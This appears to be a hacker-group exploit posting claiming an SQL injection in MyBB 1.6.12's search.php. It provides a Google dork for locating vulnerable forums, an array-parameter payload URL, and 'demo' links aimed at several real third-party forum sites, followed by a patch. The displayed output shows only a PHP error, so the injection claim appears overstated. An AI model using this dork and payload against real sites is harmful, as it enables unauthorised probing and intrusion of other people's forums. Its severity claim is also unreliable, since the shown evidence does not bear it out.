************************************************** IIIIIIII RRRRRRRRRRRR HHHHHHHH HHHHHHHH IIII RRRR RRRR HHHH HHHH IIII RRRR RRRR HHHH HHHH IIII RRRR RRRR HHHH HHHH IIII RRRR RRRR HHHH HHHH IIII RRRRRRRRRR HHHHHHHHHHHHHHHH IIII RRRR RRRR HHHH HHHH IIII RRRR RRRR HHHH HHHH IIII RRRR RRRR HHHH HHHH IIII RRRR RRRR HHHH HHHH IIIIIIII RRRRRRRR RRRRRR HHHHHHHH HHHHHHHH *************************************************** # Exploit Title: MYBB 1.6.12 search.php Sql injection # Google Dork: intext:"powered by Mybb" # Date: Feb 14, 2014 # Exploit Author: MR.XpR # Tested on: 7 , Kali # Screen Shot : http://uploaderx.persiangig.com/C/mybb_sqli_error.png # Software Link : http://resources.mybb.com/downloads/mybb_1612.zip # Version: 1.6.12 # Vendor Site : http://mybb.com *************************************************** Exploit : search.php?action=results&sid[0]=9afaea732cb32f06fa34b1888bd237e2&sortby=&order= Demo : http://community.mybb.com/search.php?action=results&sid[0]=9afaea732cb32f06fa34b1888bd237e2&sortby=&order= Error : Warning [2] mysqli_real_escape_string() expects parameter 2 to be string, array given - Line: 874 - File: inc/db_mysqli.php PHP 5.4.19 -1~dotdeb.1 (Linux) Exm : http://my-bb.ir/search.php?action=results&sid[0]=9afaea732cb32f06fa34b1888bd237e2&sortby=&order= http://community.mybb.com/search.php?action=results&sid[0]=9afaea732cb32f06fa34b1888bd237e2&sortby=&order= http://www.mybb.fr/search.php?action=results&sid[0]=9afaea732cb32f06fa34b1888bd237e2&sortby=&order= *************************************************** How To patch : edit search.php and find this line : $sid = $db->escape_string($mybb->input['sid']); change this line to : if(is_array($mybb->input['sid'])) $sid = $db->escape_string(implode($mybb->input['sid'])); else $sid = $db->escape_string($mybb->input['sid']); TnX To : MojiRider,V30sharp,Black.viper,Zer0killer,SecretWalker,FarBodEzrail,Amirio,AL1R3Z4,3is@ ,Mr.a! i,Mr.3ler0n,Irblackhat,inj3ct0r,3inst3in,Remot3r,IRH Member ./IRaNHaCK.org